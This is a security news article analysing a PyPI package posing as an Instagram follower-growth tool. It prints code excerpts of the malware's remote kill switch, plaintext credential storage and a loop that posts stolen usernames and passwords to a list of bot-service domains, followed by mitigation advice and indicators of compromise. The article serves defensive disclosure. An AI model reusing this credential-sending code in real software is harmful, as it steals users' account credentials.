Instagram Growth Services That Steal User Credentials and Send Them to Attackers

Recent research by cybersecurity experts has unveiled a sophisticated malware campaign masquerading as Instagram growth tools. These malicious packages, primarily distributed via Python packages on open-source repositories like PyPI, lure users with promises of rapid follower increases and engagement boosts.

However, behind the innocent facade lies a credential harvesting operation with global reach. The malware, attributed to a threat actor known as “IMAD-213,” employs technical subterfuge such as remote kill switches and secret credential broadcasts to exploit Instagram users.

Malware Mechanics and Technical Indicators

The malware, distributed under the name imad213, is cleverly packaged as a Python script. Its GitHub repository features a polished README and installation instructions, notably recommending “a temporary account for safety.”

This deceptive tip tricks users into believing they are taking a precaution, while in reality, they are encouraged to provide valid, albeit secondary, credentials.

Upon installation and execution, the script employs several mechanisms to ensure persistence and control:

1. Remote Kill Switch via Netlify
The script begins by establishing a remote connection to a control file hosted on Netlify:

pythondef check_initial_request():
    url = "https://imad-213-imad21.netlify.app/pass.txt"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            content = response.text.strip()
            if content == "imad213":
                print(f"{GREEN}INSTAGRAM-LOGIN{RESET}")
                return True
            else:
                print(f"{RED}IMAD-213{RESET}")
                return False
    except Exception:
        return False

This check not only verifies the authenticity of the script but allows the attacker to shut down the malware operation globally by changing a single file. This remote kill switch is a powerful mechanism for avoiding detection and law enforcement intervention.

2. Local Credential Storage and Social Engineering
Once cleared through the kill switch, the script prompts users for Instagram credentials, storing them in plaintext on the victim’s machine:

python# دالة لحفظ بيانات الحساب في ملف (Function to save account data in file)
def save_credentials(username, password):
    with open("credentials.txt", "w") as file:
        file.write(f"{username}\n{password}")
    print("Credentials saved successfully.")

Local storage further convinces users of the script’s legitimacy, obscuring its nefarious intent.

3. Credential Broadcast and Bot Service Coordination
The true danger emerges when the script unbeknownst to the user submits the stolen credentials to a network of at least ten third-party Instagram bot services. The script sends the login information via POST requests to each bot service, which masquerade as legitimate growth tools. These sites often display transparent disclaimers, but in reality, they harvest the credentials for later abuse.

An example of the credential transmission code:

pythonlogin_data = {
    "username": username,           # Your actual Instagram username
    "password": password,           # Your actual Instagram password
    "userid": "",
    "antiForgeryToken": "5e65770c2420a986097445ab74b0e24b"
}
session = requests.Session()
for login_url in bot_service_urls:  # bot_service_urls contains all target URLs
    response = session.post(login_url, headers=headers, data=login_data)

Among the targeted services are:

• takipcimx.net
• takipcizen.com
• bigtakip.net
• takip88.com
• takipciking.net
• takipcigen.com
• takipcikrali.com
• takipcitime.net
• instamoda.org

Analysis of WHOIS data and infrastructure reveals that these domains are operated from the same Turkish registrar, share Cloudflare protection, and were registered within days of each other, suggesting a coordinated attack campaign.

The Threat Landscape and Emerging Risks

Instagram’s massive user base exceeding 2 billion active users makes it an attractive target for such scams.

The malware’s technical sophistication, including its use of legitimate hosting services for command and control, demonstrates a growing trend toward resilient and distributed attack infrastructure. Security analysts highlight several concerning developments:

• Credential Laundering: By distributing stolen credentials across multiple bot services, attackers obscure the origin and use of the data, complicating forensic investigations.
• Cross-Platform Threat Expansion: The same threat actor has reportedly developed phishing kits for gaming and DDoS tools, indicating diversified attack capabilities.
• Evolving Social Engineering: The malware’s inclusion of “safety tips” and local credential storage exemplifies advanced social engineering, which is likely to become more convincing in future iterations.

Users who fall victim to these scams face immediate account compromise, potential illegal use of their personal data, and crucially violations of Instagram’s Community Guidelines, which can result in permanent bans or shadowbanning.

Furthermore, password reuse across different services magnifies the risk, potentially leading to identity theft and broader cybercrime.

Recommendations and Mitigation Strategies

Cybersecurity teams recommend the following proactive measures:

• Educate users about the risks of third-party growth tools and the importance of strong, unique passwords.
• Monitor open-source and package repositories for suspicious packages and enforce strict installation policies.
• Deploy real-time behavioral analysis tools to detect and block credential exfiltration attempts.
• Enable multi-factor authentication (MFA) on all accounts to reduce the effectiveness of credential harvesting.

Platforms like Socket AI Scanner provide automated risk detection for open-source packages, helping developers identify malicious behavior before it enters production environments.

The emergence of these credential-harvesting Instagram growth services underscores the ongoing arms race between cybercriminals and security professionals.

Attackers are leveraging legitimate infrastructure and social engineering to outmaneuver traditional defenses, making user vigilance and advanced security tools vital in protecting digital identities.

As threat actors continue to evolve their tactics, collaboration between security researchers, platform operators, and end users will be essential in mitigating these risks and safeguarding the integrity of online communities.

Indicators of Compromise (IOCs)

• Threat Actor Identifiers
  • Pypi alias: im_ad__213 or IMAD-213
  • PyPi registered email: madmadimado59@gmail[.]com
  • Github: https://github[.]com/imadoo27/
• Control URL: imad-213-imad21.netlify[.]app/pass.txt
• Attacker’s Instagram: instagram[.]com/nasreddin_imad
• Bot Services:
  • takipcimx[.]net
  • takipcizen[.]com
  • bigtakip[.]net
  • takip88[.]com
  • takipciking[.]net
  • takipcigen[.]com
  • takipcikrali[.]com
  • takipcitime[.]net
  • instamoda[.]org
• Local File: credentials.txt (plaintext storage)
• Anti-forgery Token: 5e65770c2420a986097445ab74b0e24b